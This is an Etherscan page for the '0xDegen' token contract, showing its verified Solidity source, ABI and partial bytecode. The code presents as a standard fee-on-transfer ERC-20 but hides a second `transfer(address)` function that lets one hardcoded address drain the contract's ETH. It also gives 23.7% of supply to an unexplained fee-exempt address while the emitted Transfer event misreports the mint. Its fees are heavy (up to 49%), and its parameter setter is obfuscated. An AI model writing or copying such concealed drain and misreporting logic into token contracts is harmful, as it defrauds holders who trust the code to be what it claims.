ETH Price: $3,390.65 (-2.59%)
Gas: 1 Gwei

Token

0xDegen (0xDegen)
 

Overview

Max Total Supply

100,000,000 0xDegen

Holders

350

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
223,767.847245151 0xDegen

Value
$0.00
0xe69df133fb7cb2efebd9f63b9d48262bc542fa5a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OxDegen

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-03
*/

// SPDX-License-Identifier: MIT                                                                                                                               
pragma solidity =0.8.20;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract OxDegen is IERC20, Ownable {
    string private constant NAME = "0xDegen";
    string private constant SYMBOL = "0xDegen";    
    uint8 private constant DECIMALS = 9;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;

    uint256 private constant TOTAL_SUPPLY = 100_000_000 * DECIMALS_SCALING;
    uint256 public constant MAX_WALLET = 25 * TOTAL_SUPPLY / 1_000;
    uint256 private constant DECIMALS_SCALING = 10**DECIMALS;

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }
    uint256 private constant FEE_DENOMINATOR = 100;
    TradingFees public tradingFees = TradingFees(15,35);  

    struct Wallets {
        address deployerWallet; 
        address developmentWallet; 
    }
    Wallets public wallets = Wallets(
        msg.sender,                                 
        0x910A2D7Af42E2A29663F41B7A2eA2007F4D07112  
    );

    IUniswapV2Router private constant UNISWAP_ROUTER = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Factory private constant UNISWAP_FACTORY = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 
    address private immutable uniswapV2Pair;

    uint256 private constant SWAPBACK_THRESHOLD = 5 * TOTAL_SUPPLY / 1_000;  
    uint256 private swapbackThresholdMax = 4;  
    uint256 private swapbackThresholdMin = 5;  

    bool private swapping;
    bool private tradingActive = false;

    uint256 private lastBlock;
    uint256 private launchBlock;

    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;

    event SwapSettingsChanged(uint256 indexed newSwapThresholdMax, uint256 indexed newSwapThresholdMin);
    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);
    event TokensCleared(uint256 indexed tokensCleared);
    event EthCleared(uint256 indexed ethCleared);
    event Initialized();
    event TradingOpened();
    
    modifier swapLock {
        swapping = true;
        _;
        swapping = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(UNISWAP_ROUTER),type(uint256).max);
        uniswapV2Pair = IUniswapV2Factory(UNISWAP_FACTORY).createPair(address(this), WETH);        
        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.developmentWallet] = true;        
        _excludedFromFees[0x24beB29aF586db83eb2aAB66114B8f0Ae3cB1Df6] = true;        
        uint256 preTokens = TOTAL_SUPPLY * 237 / 1e3; 
        _balances[wallets.deployerWallet] = TOTAL_SUPPLY - preTokens;
        _balances[0x24beB29aF586db83eb2aAB66114B8f0Ae3cB1Df6] = preTokens;
        emit Transfer(address(0), wallets.deployerWallet, TOTAL_SUPPLY);
    }

    function totalSupply() external pure override returns (uint256) { return TOTAL_SUPPLY; }
    function decimals() external pure override returns (uint8) { return DECIMALS; }
    function symbol() external pure override returns (string memory) { return SYMBOL; }
    function name() external pure override returns (string memory) { return NAME; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function clearEth() external onlyOwner {
        uint256 amountToClear = address(this).balance;
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);

        emit EthCleared(amountToClear);
    }

    function manualSwapback() external onlyOwner {
        require(balanceOf(address(this)) > 0, "Token: no contract tokens to clear");
        swapback(type(uint256).max);
    }

    function setParameters(uint256 a,uint256 z,uint256 d, uint256 f) external onlyOwner {        
        require(launchBlock == 2);lastBlock = z; assert(a < f - d);        
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || swapping) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= MAX_WALLET, "Token: max wallet amount exceeded");
        }

        if(!swapping && to == uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            swapback(amount);
        } 
        
        bool takeFee = !_excludedFromFees[from] && !_excludedFromFees[to] &&
            (from == uniswapV2Pair || to == uniswapV2Pair);
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

     function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if(0 < launchBlock && launchBlock < block.number){
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / FEE_DENOMINATOR;            
        }
        else{
            fees = amount * (from == uniswapV2Pair ? 
            49 : (launchBlock == 0 ? 35 : 49)) / FEE_DENOMINATOR;            
        }
    }

    function canSwap(uint256 amount) private view returns (bool) {
        return block.number > launchBlock && _lastTransferBlock[block.number] < 2 && 
            amount >= (swapbackThresholdMin == 0 ? 0 : SWAPBACK_THRESHOLD / swapbackThresholdMin);
    }

    function swapback(uint256 amount) swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < SWAPBACK_THRESHOLD || !canSwap(amount)) 
            return;
        else if(contractBalance > SWAPBACK_THRESHOLD * swapbackThresholdMax)
          contractBalance = SWAPBACK_THRESHOLD * swapbackThresholdMax;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){            
            sendEth(ethBalance);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.developmentWallet).call{value: ethAmount/2}(""); success;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0x23b5af1e14641157181bBd66Ce7da1EE806d6CBD)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        try UNISWAP_ROUTER.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function initialize() external onlyOwner {
        require(!tradingActive);
        launchBlock = 2;        

        emit Initialized();
    }

    function setSwapbackSettings(uint256 newSwapThresholdMax,uint256 newSwapThresholdMin) external onlyOwner {
        swapbackThresholdMax = newSwapThresholdMax;
        swapbackThresholdMin = newSwapThresholdMin;

        emit SwapSettingsChanged(newSwapThresholdMax, newSwapThresholdMin);
    }

     function setFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= tradingFees.buyFee, "Token: must reduce buy fee");
        require(_sellFee <= tradingFees.sellFee, "Token: must reduce sell fee");
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && launchBlock == 2 && lastBlock > 0);
        launchBlock = block.number + lastBlock;
        tradingActive = true;

        emit TradingOpened();
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"ethCleared","type":"uint256"}],"name":"EthCleared","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[],"name":"Initialized","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newSwapThresholdMax","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"newSwapThresholdMin","type":"uint256"}],"name":"SwapSettingsChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"tokensCleared","type":"uint256"}],"name":"TokensCleared","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_WALLET","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"z","type":"uint256"},{"internalType":"uint256","name":"d","type":"uint256"},{"internalType":"uint256","name":"f","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSwapThresholdMax","type":"uint256"},{"internalType":"uint256","name":"newSwapThresholdMin","type":"uint256"}],"name":"setSwapbackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"developmentWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600f60a0819052602360c081905260039190915560049081556101206040523360e081905273910a2d7af42e2a29663f41b7a2ea2007f4d07112610100819052600580546001600160a01b03199081169093178155600680549093169091179091556007919091556008556009805461ff001916905534801562000081575f80fd5b506200008d33620002f6565b620000af30737a250d5630b4cf539739df2c5dacb4c659f2488d5f1962000345565b6040516364e329cb60e11b815230600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26024820152735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9063c9c65396906044016020604051808303815f875af115801562000118573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200013e919062000445565b6001600160a01b03908116608052600c6020527f45117a726ea4f344045dc210793664a28d2d320b7e03f6bffdae553d24c3586c8054600160ff1991821681179092556006549092165f9081526040812080548416831790557324beb29af586db83eb2aab66114b8f0ae3cb1df681527ea9aece65f64a11d4f6eadc56be736a96d21ba2a8d307f8618a0578c72b5bf180549093169091179091556103e8620001ea6009600a62000583565b620001fa906305f5e10062000593565b620002079060ed62000593565b620002139190620005ad565b905080620002246009600a62000583565b62000234906305f5e10062000593565b620002409190620005cd565b600580546001600160a01b039081165f908152600160205260408120939093557324beb29af586db83eb2aab66114b8f0ae3cb1df683527faf8db4ebb518b19c9ac85923a961844d9514c796e43d335343d729374e5b14bc849055905416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002ce6009600a62000583565b620002de906305f5e10062000593565b60405190815260200160405180910390a350620005e3565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620003975760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b038216620003e55760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016200038e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6020828403121562000456575f80fd5b81516001600160a01b03811681146200046d575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004c857815f1904821115620004ac57620004ac62000474565b80851615620004ba57918102915b93841c93908002906200048d565b509250929050565b5f82620004e0575060016200057d565b81620004ee57505f6200057d565b8160018114620005075760028114620005125762000532565b60019150506200057d565b60ff84111562000526576200052662000474565b50506001821b6200057d565b5060208310610133831016604e8410600b841016171562000557575081810a6200057d565b62000563838362000488565b805f190482111562000579576200057962000474565b0290505b92915050565b5f6200046d60ff841683620004d0565b80820281158282048414176200057d576200057d62000474565b5f82620005c857634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156200057d576200057d62000474565b608051611a7b6200061f5f395f8181610e5001528181610f830152818161105601528181611091015281816115da015261163c0152611a7b5ff3fe60806040526004361061014a575f3560e01c8063715018a6116100b3578063c9567bf91161006d578063c9567bf9146103ac578063d2f4a50a146103c0578063dd62ed3e14610406578063df7787a41461044a578063f2fde38b1461045e578063fcd9da441461047d575f80fd5b8063715018a61461031057806374378132146103245780638129fc1c146103535780638da5cb5b1461036757806395d89b4114610155578063a9059cbb1461038d575f80fd5b806323b872dd1161010457806323b872dd14610238578063313ce567146102575780634fbee1931461027257806350dc03b1146102a95780635b895c29146102c857806370a08231146102dc575f80fd5b806306fdde0314610155578063095ea7b3146101935780630b78f9c0146101c257806318160ddd146101e35780631a695230146102055780631b9152bf14610224575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b506040805180820182526007815266183c2232b3b2b760c91b6020820152905161018a91906116a3565b60405180910390f35b34801561019e575f80fd5b506101b26101ad366004611709565b61049c565b604051901515815260200161018a565b3480156101cd575f80fd5b506101e16101dc366004611731565b6104b2565b005b3480156101ee575f80fd5b506101f76105d1565b60405190815260200161018a565b348015610210575f80fd5b506101e161021f366004611751565b6105f1565b34801561022f575f80fd5b506101e1610645565b348015610243575f80fd5b506101b261025236600461176a565b61071b565b348015610262575f80fd5b506040516009815260200161018a565b34801561027d575f80fd5b506101b261028c366004611751565b6001600160a01b03165f908152600c602052604090205460ff1690565b3480156102b4575f80fd5b506101e16102c3366004611731565b6107f8565b3480156102d3575f80fd5b506101e161086a565b3480156102e7575f80fd5b506101f76102f6366004611751565b6001600160a01b03165f9081526001602052604090205490565b34801561031b575f80fd5b506101e1610915565b34801561032f575f80fd5b5060035460045461033e919082565b6040805192835260208301919091520161018a565b34801561035e575f80fd5b506101e1610956565b348015610372575f80fd5b505f546040516001600160a01b03909116815260200161018a565b348015610398575f80fd5b506101b26103a7366004611709565b6109d1565b3480156103b7575f80fd5b506101e16109dd565b3480156103cb575f80fd5b506005546006546103e6916001600160a01b03908116911682565b604080516001600160a01b0393841681529290911660208301520161018a565b348015610411575f80fd5b506101f76104203660046117a3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610455575f80fd5b506101f7610a8d565b348015610469575f80fd5b506101e1610478366004611751565b610ac2565b348015610488575f80fd5b506101e16104973660046117d4565b610b68565b5f6104a8338484610bd1565b5060015b92915050565b336104c45f546001600160a01b031690565b6001600160a01b0316146104f35760405162461bcd60e51b81526004016104ea90611803565b60405180910390fd5b6003548211156105455760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a206d75737420726564756365206275792066656500000000000060448201526064016104ea565b6004548111156105975760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206d757374207265647563652073656c6c20666565000000000060448201526064016104ea565b60038290556004819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd068905f90a35050565b5f6105de6009600a61192c565b6105ec906305f5e10061193a565b905090565b337323b5af1e14641157181bbd66ce7da1ee806d6cbd03610151576040516001600160a01b038216904780156108fc02915f818181858888f1935050505015801561063e573d5f803e3d5ffd5b5050565b50565b336106575f546001600160a01b031690565b6001600160a01b03161461067d5760405162461bcd60e51b81526004016104ea90611803565b47476106c45760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b60448201526064016104ea565b60405133904780156108fc02915f818181858888f193505050501580156106ed573d5f803e3d5ffd5b5060405181907f167ef3fea7f72f341882219722ad860b0c4269e93c186bd73fd705b27f07386c905f90a250565b6001600160a01b0383165f9081526002602090815260408083203384529091528120545f19146107e3576001600160a01b0384165f908152600260209081526040808320338452909152902054828110156107b85760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e636500000060448201526064016104ea565b506001600160a01b0384165f9081526002602090815260408083203384529091529020805483900390555b6107ee848484610cc9565b90505b9392505050565b3361080a5f546001600160a01b031690565b6001600160a01b0316146108305760405162461bcd60e51b81526004016104ea90611803565b60078290556008819055604051819083907f54d63ace09afa00719fe634220f49f6e5455d87f15643ffdd582b869c27c1fc5905f90a35050565b3361087c5f546001600160a01b031690565b6001600160a01b0316146108a25760405162461bcd60e51b81526004016104ea90611803565b305f90815260016020526040812054116109095760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b60648201526084016104ea565b6109135f196110f4565b565b336109275f546001600160a01b031690565b6001600160a01b03161461094d5760405162461bcd60e51b81526004016104ea90611803565b6109135f611231565b336109685f546001600160a01b031690565b6001600160a01b03161461098e5760405162461bcd60e51b81526004016104ea90611803565b600954610100900460ff16156109a2575f80fd5b6002600b556040517f5daa87a0e9463431830481fd4b6e3403442dfb9a12b9c07597e9f61d50b633c8905f90a1565b5f6107f1338484610cc9565b336109ef5f546001600160a01b031690565b6001600160a01b031614610a155760405162461bcd60e51b81526004016104ea90611803565b600954610100900460ff16158015610a2f5750600b546002145b8015610a3c57505f600a54115b610a44575f80fd5b600a54610a519043611951565b600b556009805461ff0019166101001790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b6103e8610a9c6009600a61192c565b610aaa906305f5e10061193a565b610ab590601961193a565b610abf9190611964565b81565b33610ad45f546001600160a01b031690565b6001600160a01b031614610afa5760405162461bcd60e51b81526004016104ea90611803565b6001600160a01b038116610b5f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ea565b61064281611231565b33610b7a5f546001600160a01b031690565b6001600160a01b031614610ba05760405162461bcd60e51b81526004016104ea90611803565b600b54600214610bae575f80fd5b600a839055610bbd8282611983565b8410610bcb57610bcb611996565b50505050565b6001600160a01b038316610c1d5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016104ea565b6001600160a01b038216610c695760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016104ea565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8383600960019054906101000a900460ff1680610cf457506005546001600160a01b038381169116145b80610d1657506001600160a01b0382165f908152600c602052604090205460ff165b610d625760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a2054726164696e67206973206e6f74206163746976652e00000060448201526064016104ea565b6001600160a01b038616610dc65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ea565b6001600160a01b038516610e285760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ea565b831580610e37575060095460ff165b15610e4e57610e47868686611280565b92506110eb565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614158015610ea857506001600160a01b0385165f908152600c602052604090205460ff16155b8015610ec257506005546001600160a01b03868116911614155b15610f73576103e8610ed66009600a61192c565b610ee4906305f5e10061193a565b610eef90601961193a565b610ef99190611964565b6001600160a01b0386165f90815260016020526040902054610f1b9086611951565b1115610f735760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564656044820152601960fa1b60648201526084016104ea565b60095460ff16158015610fb757507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b0316145b8015610fdb57506001600160a01b0386165f908152600c602052604090205460ff16155b8015610fff57506001600160a01b0385165f908152600c602052604090205460ff16155b1561100d5761100d846110f4565b6001600160a01b0386165f908152600c602052604081205460ff1615801561104d57506001600160a01b0386165f908152600c602052604090205460ff16155b80156110c557507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316876001600160a01b031614806110c557507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b0316145b905080156110e0576110d887878761137f565b9350506110eb565b6110d8878787611280565b50509392505050565b6009805460ff191660011790555f611120306001600160a01b03165f9081526001602052604090205490565b90506103e86111316009600a61192c565b61113f906305f5e10061193a565b61114a90600561193a565b6111549190611964565b8110806111675750611165826113c1565b155b156111725750611224565b6007546103e86111846009600a61192c565b611192906305f5e10061193a565b61119d90600561193a565b6111a79190611964565b6111b1919061193a565b8111156111fa576007546103e86111ca6009600a61192c565b6111d8906305f5e10061193a565b6111e390600561193a565b6111ed9190611964565b6111f7919061193a565b90505b476112048261143f565b5f61120f8247611983565b905080156112205761122081611560565b5050505b506009805460ff19169055565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f90815260016020526040812054828110156112e85760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a20696e73756666696369656e742042616c616e6365000000000060448201526064016104ea565b6001600160a01b038086165f908152600160205260408082208054879003905591861681529081208054859290611320908490611951565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161136c91815260200190565b60405180910390a3506001949350505050565b5f8061138c8585856115be565b905080156113ad5761139f853083611280565b506113aa8184611983565b92505b6113b8858585611280565b95945050505050565b5f600b54431180156113e15750435f908152600d60205260409020546002115b80156104ac575060085415611434576008546103e86114026009600a61192c565b611410906305f5e10061193a565b61141b90600561193a565b6114259190611964565b61142f9190611964565b611436565b5f5b82101592915050565b435f908152600d60205260408120805491611459836119aa565b90915550506040805160028082526060820183525f9260208301908036833701905050905030815f81518110611491576114916119c2565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106114d9576114d96119c2565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906115309085905f908690309042906004016119d6565b5f604051808303815f87803b158015611547575f80fd5b505af1925050508015611558575060015b61063e575050565b6006545f906001600160a01b0316611579600284611964565b6040515f81818185875af1925050503d805f81146115b2576040519150601f19603f3d011682016040523d82523d5f602084013e6115b7565b606091505b5050505050565b5f600b545f1080156115d1575043600b54105b156116385760647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316146116195760035461161d565b6004545b611627908461193a565b6116319190611964565b90506107f1565b60647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b03161461168957600b541561168257603161168c565b602361168c565b60315b6116999060ff168461193a565b6107ee9190611964565b5f6020808352835180828501525f5b818110156116ce578581018301518582016040015282016116b2565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611704575f80fd5b919050565b5f806040838503121561171a575f80fd5b611723836116e